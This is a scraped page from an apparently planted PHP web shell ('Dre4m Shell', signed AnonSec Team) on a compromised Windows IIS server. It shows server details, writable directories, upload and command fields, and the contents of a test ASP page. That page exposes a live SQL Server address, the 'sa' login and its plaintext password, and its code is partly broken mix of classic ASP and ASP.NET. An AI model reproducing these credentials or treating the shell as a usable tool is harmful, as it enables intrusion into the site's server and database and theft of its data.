Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 3.137.176.213
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/cenxusco/cenxus.com/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/cenxusco/cenxus.com/wwwroot/testdb1.aspx
<% 

'******************************************
'*** 	  Database System Type         ****
'******************************************

'Dimension global variables
Dim adoCon 			'Database Connection Variable Object
Dim strCon			'Holds the string to connect to the db
Dim rsCommon			'Holds the configuartion recordset
Dim strSQL			'Holds the SQL query for the database
Dim strDbPathAndName		'Holds the path and name of the database
Dim strSQLServerName		'Holds the name of the SQL Server
Dim strSQLDBUserName		'Holds the user name (for SQL Server Authentication)
Dim strSQLDBPassword		'Holds the password (for SQL Server Authentication)
Dim strSQLDBName		'Holds name of a database on the server
Dim strDatabaseDateFunction	'Holds a different date function for Access or SQL server
Dim strDatabaseType		'Holds the type of database used
Dim strDBFalse			'Holds the false value for SQL queries
Dim strDBTrue			'Holds the true value for SQL queries
Dim strDBNoLock			'Holds if the database is locked while running the query for SQL Server
Dim strRowLock			'Holds if the database row is locked while running the query for SQL Server
Dim strDBTop1			'Holds the SQL limit operator (TOP 1) for SQL Server and Access
Dim strDBLimit1			'Holds the SQL limit operator (LIMIT 1) for mySQL


'Database Type
strDatabaseType = "SQLServer"	'Microsoft SQL Server 2000, 2005, MSDE, 2005 Express
'strDatabaseType = "mySQL"	'MySQL 4.1 or MySQL 5
'strDatabaseType = "Access"	'Microsoft Access Database (Flat database file, slowest and least secure of the 3)


'******************************************
'*** 	      Microsoft Access         ****
'******************************************

If strDatabaseType = "Access" Then
	
	'Microsoft Access is a flat file database system, it suffers from slow performance, limited 
	'connections, and as a flat file it can be easly downloaded by a hacker if you do not secure 
	'the database file
	
	'Virtual path to database
	strDbPathAndName = Server.MapPath("database/wwForum.mdb")  'This is the path of the database from the applications location
	
	'Physical path to database
	'strDbPathAndName = "" 'Use this if you use the physical server path, eg:- C:\Inetpub\private\wwForum.mdb
	
	
	'PLEASE NOTE: - For extra security it is highly recommended you change the name of the database, wwForum.mdb, 
	'to another name and then replace the wwForum.mdb found above with the name you changed the forum database to.
	
	
	'Initilise the DB Connection String
	strCon = strDbPathAndName 
End If



'**********************************************************
'*** 	   Microsoft SQL Server and MySQL Server       ****
'**********************************************************

If strDatabaseType = "SQLServer" OR strDatabaseType = "mySQL" Then
	
	'live database
	strSQLServerName = "203.142.4.173" 'Holds the name of the SQL Server (This is the name/location or IP address of the SQL Server)
	strSQLDBUserName = "sa" 'Holds the user name (for SQL Server Authentication)
	strSQLDBPassword = "JJr7bg9xE2kL" 'Holds the password (for SQL Server Authentication)
	'strSQLDBName = "db_tribeforum" 
	strSQLDBName = "tribetoyota_db" 	
	
	'Initilise the DB Connection String
	strCon = "Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & ";Password=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
End If
%> <%
'******************************************
'*** 	 Open Database Connection      ****
'******************************************

'This sub procedure opens a connection to the database and creates a recordset object and sets database defaults


	'Setup database driver and defaults
	'**********************************
	
	'SQL Server Database Defaults
	If strDatabaseType = "SQLServer" Then
		
		'Please note this application has been optimised for the SQL OLE DB Driver using another driver 
		'or system DSN to connect to the SQL Server database will course errors in the application and
		'drastically reduce the performance!
	
	
		'The SQLOLEDB driver offers the highest performance at this time for connecting to SQL Server databases from within ASP.
		
		'MS SQL Server OLE Driver (If you change this string make sure you also change it in the msSQL_server_setup.asp file when creating the database)
		strCon = "Provider=SQLOLEDB;Connection Timeout=90;" & strCon
		
		'The GetDate() function is used in SQL Server to get dates
		strDatabaseDateFunction = "GetDate()"
		
		'Set true and false for db
		strDBFalse = 0
		strDBTrue = 1
		
		'Set the lock variavbles for the db
		strDBNoLock = " WITH (NOLOCK) "
		strRowLock = " WITH (ROWLOCK) "
		
		'Set the Limit opertaor for SQL Server
		strDBTop1 = " TOP 1"
		
	
	'MySQL Server Database Defaults	
	ElseIf strDatabaseType = "mySQL" Then
		
		'This application requires the myODBC 3.51 driver
	
		'myODBC Driver 3.51
		strCon = "Driver={MySQL ODBC 3.51 Driver};Port=3306;Option=3;" & strCon
		
		'Calculate the date web server time incase the database server is out, use international date
		strDatabaseDateFunction = "Now()"
		
		'Set true and false for db (true value is -1)
		strDBFalse = 0
		strDBTrue = -1
		
		
		'Set the limit operator
		strDBLimit1 = " LIMIT 1"
		
	
	'MS Access Database Defaults	
	ElseIf strDatabaseType = "Access" Then
		
		'Database driver (Microsoft JET OLE DB driver version 4)
		strCon = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & strCon
		
		'The now() function is used in Access for dates
		strDatabaseDateFunction = "Now()"
		
		'Set true and false for db
		strDBFalse = "false"
		strDBTrue = "true"
			
		'Set the limit operator for Access
		strDBTop1 = " TOP 1"
		
	End If
	
	
	

%>

<%@ Import Namespace="System.Data.OleDb" %>
<script runat="server">
dim strDbPathAndName
'strDbPathAndName = Server.MapPath("database/wwForum.mdb")

sub Page_Load
dim dbconn
dbconn=New OleDbConnection("Provider=Microsoft.Jet.OLEDB.4.0;data source="&strDbPathAndName)
dbconn.Open()
end sub


Dim rsAlbum
'set rsAlbum = Server.CreateObject("ADODB.Recordset")


strSQL = "select * FROM tribe_photo tp"	
 
dbconn.Open()
dbcomm=New OleDbCommand(strSQL,dbconn)
 
 
'rsCommon.Open "SELECT * FROM tribe_photo_album tpa", adoCon


	rsAlbum.Open strSQL,adoCon
			If Not rsAlbum.EOF Then
				Response.Write("<table>")
					Response.write ("<tr>")
						While Not rsAlbum.EOF						
							If ncount > 5 Then
								ncount = 1
								Response.write ("</tr>")
								Response.write ("<tr>")
							end If
								Response.Write("<td>")
									Response.write ("<table width=110 border=0 cellpadding=0 cellspacing=0>")
										Response.write ("<tr>")
											Response.write ("<td width=75 rowspan=2 align=left valign=middle>")
												Response.write (rsAlbum("photo_name"))
											Response.write ("</td>")	
											 Response.write ("<td width=80>&nbsp;</td>")										
										  Response.write ("</tr>")										 
									Response.write ("</table>")	
								Response.Write("</td>")					
						  ncount = ncount + 1
						rsAlbum.MoveNext
					Wend
				Response.write ("</tr>")
			Response.Write("</table>")					
			End If
			
			
'******************************************
'*** 	  Close Database Connection    ****
'******************************************

'This sub procedure will close the main recordset and close the database connection
dbconn.Close()
</script>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>test</title>
</head>

<body>
<br />
This is a fucking test
</body>
</html>

Anon7 - 2022
AnonSec Team